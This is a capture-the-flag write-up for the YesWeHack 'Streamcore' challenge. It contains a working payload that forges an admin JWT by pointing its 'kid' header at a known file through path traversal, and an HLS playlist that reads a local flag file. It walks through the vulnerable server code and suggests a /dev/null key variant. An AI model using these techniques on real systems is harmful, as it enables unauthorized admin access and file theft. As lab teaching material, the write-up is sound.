~/ Home Projects Tools Link
Writeups
hackthebox/
  • 2million
  • Facts
  • Checkpoint
  • Enigma
  • Nimbus
  • Reactor
  • tryhackme/
  • Highschool
  • Ignite
  • JokerCTF
  • Lazy Admin
  • Lightroom
  • Lookup
  • Love Connect
  • Love note
  • Pyrat
  • Startup
  • Tryheartme
  • Valenfind
  • Valley
  • When hearts collide
  • Wonderland
  • yeswehack/
  • Streamcore
  • YWH - Dojo #52 Streamcore


    Solution:

    { “filename”: “mal”, “content”: “#EXTM3U#EXT-X-VERSION:3#EXTINF:-1,flag/tmp/flag.txt”, “token”: “eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6Ii4uL1JFQURNRSJ9.eyJzdWIiOiJoYWNrZXJtYW4iLCJpc2FkbWluIjp0cnVlfQ.KwCgYBM4AM9t8Zj_GjoYLQ7VJeHReQhH_k6hv0dGUXg” }

    A run down of what this payload is:

    “filename” is anything we want here

    “content” field is a kind of header for HTTP Live Streaming(HLS).

    #EXTM3U is our first line its our Metadata tags, we need this or we get an error. for newline #EXT-X-VERSION:3 indicates the version we are using #EXTINF:-1 extend information reads from path provided by attacker, -1 informs HLS to ignore duration ,flag this is the name of our playlist file /tmp/flag.txt is the location of the flag in our targets file system “token” is our JWT token which is a base64 encoded dictionary

    JSON web token (JWT):

    Our string is three base64 strings with . between them:

    eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6Ii4uL1JFQURNRSJ9
    eyJzdWIiOiJoYWNrZXJtYW4iLCJpc2FkbWluIjp0cnVlfQ
    KwCgYBM4AM9t8Zj_GjoYLQ7VJeHReQhH_k6hv0dGUXg

    First we decode: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6Ii4uL1JFQURNRSJ9

    {
        "alg" : "HS256",
        "typ" : "JWT",
        "kid" : "../README"
      }

    “alg” : “HS256” We use the HS256 algorithm for encryption “typ” : “JWT” The provided token is JSON Web Token (JWT) “kid” : “../README” location of our key id and this is unsanitized so we point to the README file, since we know its content. This is relevant later.

    Second we decode: eyJzdWIiOiJoYWNrZXJtYW4iLCJpc2FkbWluIjp0cnVlfQ

    {
    "sub": "hackerman",
    "isadmin": true
    }

    “sub”: “hackerman” is arbitrary, go wild! “isadmin”: true is necessary, it gets checked in the server python code.

    We decode the last part: KwCgYBM4AM9t8Zj_GjoYLQ7VJeHReQhH_k6hv0dGUXg

    streamcore is a new project developed to handle u3m8 files more easily.

    And thats it just that string but without the double quotes. This is the content of the README.txt file at /tmp/README.txt. And it is our secret key, validating our JWT. ___

    Analyzing the python code:

    The full code for server.py will provided at the end, here’s the relevant snippets:

    def load_key(kid: str) -> bytes:
        with open(f"/tmp/keys/{kid}.txt", "rb") as f:
            return f.read()

    open(f”/tmp/keys/{kid}.txt”, “rb”) as f: Opens a .txt in /tmp/keys and doesn’t sanitize the input. So we use the relative path to go back one directory into /tmp and point to README.txt return f.read() Reads the content of ‘f’ which is our /tmp/README.txt content.

    Thats the content of load_key which is used in:

    def verify_token(token: str) -> dict:
        header = jwt.get_unverified_header(token)
        kid = header.get("kid")
        key = load_key(kid)
        return jwt.decode(token, key, algorithms=["HS256"])

    def verify_token(token: str) -> dict: This function takes in the “token” parameter which is our JWT payload. header = jwt.get_unverified_header(token) Use unverified_header information found in our JWT as header kid = header.get(“kid”) Get the “kid” parameter from the header(our JWT) key = load_key(kid) This is critical! We load the content of the README.txt as our cryptographic key return jwt.decode(token, key, algorithms=[“HS256”]) We decode the JWT token with the content of the README.txt as our secret key

    Since the content of the key is the content of the README.txt it passes the cryptographic protection.

    def valid_filename(filename: str):
        return re.match(r"^[A-Za-z0-9_-]+$", filename)

    This is a typical input validation function, we take in the filename and make sure its made of upper or lowercase letters, numbers, dash and underscores. Nothing else.

    if valid_filename(filename) is None:
    raise ValueError(f"invalid filename given: {filename}")

    So filename has to be only lowercase, uppercase, numbers, dash and underscores.

    Next we write the filename to our music playlist file that will point to /tmp/flag.txt:

    filename_path = f"/tmp/{filename}.m3u8"
      with open(filename_path, "w") as f:
        f.write(content)

    The filename is passed and it contains the “content” parameter we provided: > “#EXTM3U#EXT-X-VERSION:3#EXTINF:-1,flag/tmp/flag.txt”, ___

    Recap:

    We send a attacker control header for the m3u8 file. It writes the flag into the playlist file data. We use the content of a local readable file as our cryptographic key thanks to poor sanitization. Our JWT payload contains “isadmin” : true to pass a function. And our secret key is the content of ../README.

    It can be anything you wish to point to but, you need to know its content.


    Other solution:

    Haven’t tried it yet but you could probably target ../../dev/null and make your secret key “”, “” or some other representation of null.


    Code sample:

    server.py

    
    ///
    Copyright (c) 2026 StreamCore Internal Tools
    Licensed under proprietary terms — see LICENSE.
    Signature: Ly9kZXYgdG9kbyAocmVtb3ZlIGJlZm9yZSBsYXVuY2gpLi4uICJJWkdFQ1IzM0pSR0UySkM3SUZaREdYMkhPSVpXQ04yN0lGMkY2NFpRTlIzREMzVEhQVUZBPT09PSIgKipzdGVwcyoqIC8vdG9kby4uLg==
    ///
    
    import os, re, jwt, json
    streamlink = import_v("streamlink", "8.3.0")
    from urllib.parse import unquote
    from jinja2 import Environment, FileSystemLoader
    
    def load_key(kid: str) -> bytes:
        with open(f"/tmp/keys/{kid}.txt", "rb") as f:
            return f.read()
    
    def verify_token(token: str) -> dict:
        header = jwt.get_unverified_header(token)
        kid = header.get("kid")
        key = load_key(kid)
        return jwt.decode(token, key, algorithms=["HS256"])
    
    def valid_filename(filename: str):
        return re.match(r"^[A-Za-z0-9_-]+$", filename)
    
    def main():
        os.chdir("/tmp")
        template = Environment(
            autoescape=True,
            loader=FileSystemLoader("templates"),
        ).get_template("index.html")
    
        try:
            data_json = json.loads(unquote("%7B%20%0A%22filename%22%3A%20%22mal%22%2C%0A%22content%22%3A%20%22%23EXTM3U%5Cn%23EXT-X-VERSION%3A3%5Cn%23EXTINF%3A-1%2Cflag%5Cn%2Ftmp%2Fflag.txt%22%2C%0A%22token%22%3A%20%22eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6Ii4uL1JFQURNRSJ9.eyJzdWIiOiJoYWNrZXJtYW4iLCJpc2FkbWluIjp0cnVlfQ.KwCgYBM4AM9t8Zj_GjoYLQ7VJeHReQhH_k6hv0dGUXg%22%0A%7D"))
    
            filename = data_json["filename"]
            content = data_json["content"]
            token = data_json["token"]
    
            claims = verify_token(token)
            if not claims.get("isadmin"):
                raise PermissionError("admin token required")
    
            if valid_filename(filename) is None:
                raise ValueError(f"invalid filename given: {filename}")
    
            filename_path = f"/tmp/{filename}.m3u8"
            with open(filename_path, "w") as f:
                f.write(content)
    
            streams = streamlink.streams(f"hls://file:///{filename_path}")
            fd = streams["best"].open()
            chunk = fd.read(1024 * 1024).decode("UTF-8")
    
            print(template.render(
                message="Successfully loaded u3m8 file!", error=None, content=chunk
            ))
        except Exception as e:
            print(template.render(
                message=None, error=f"An error occurred: {e}", content=None
            ))
    
    main()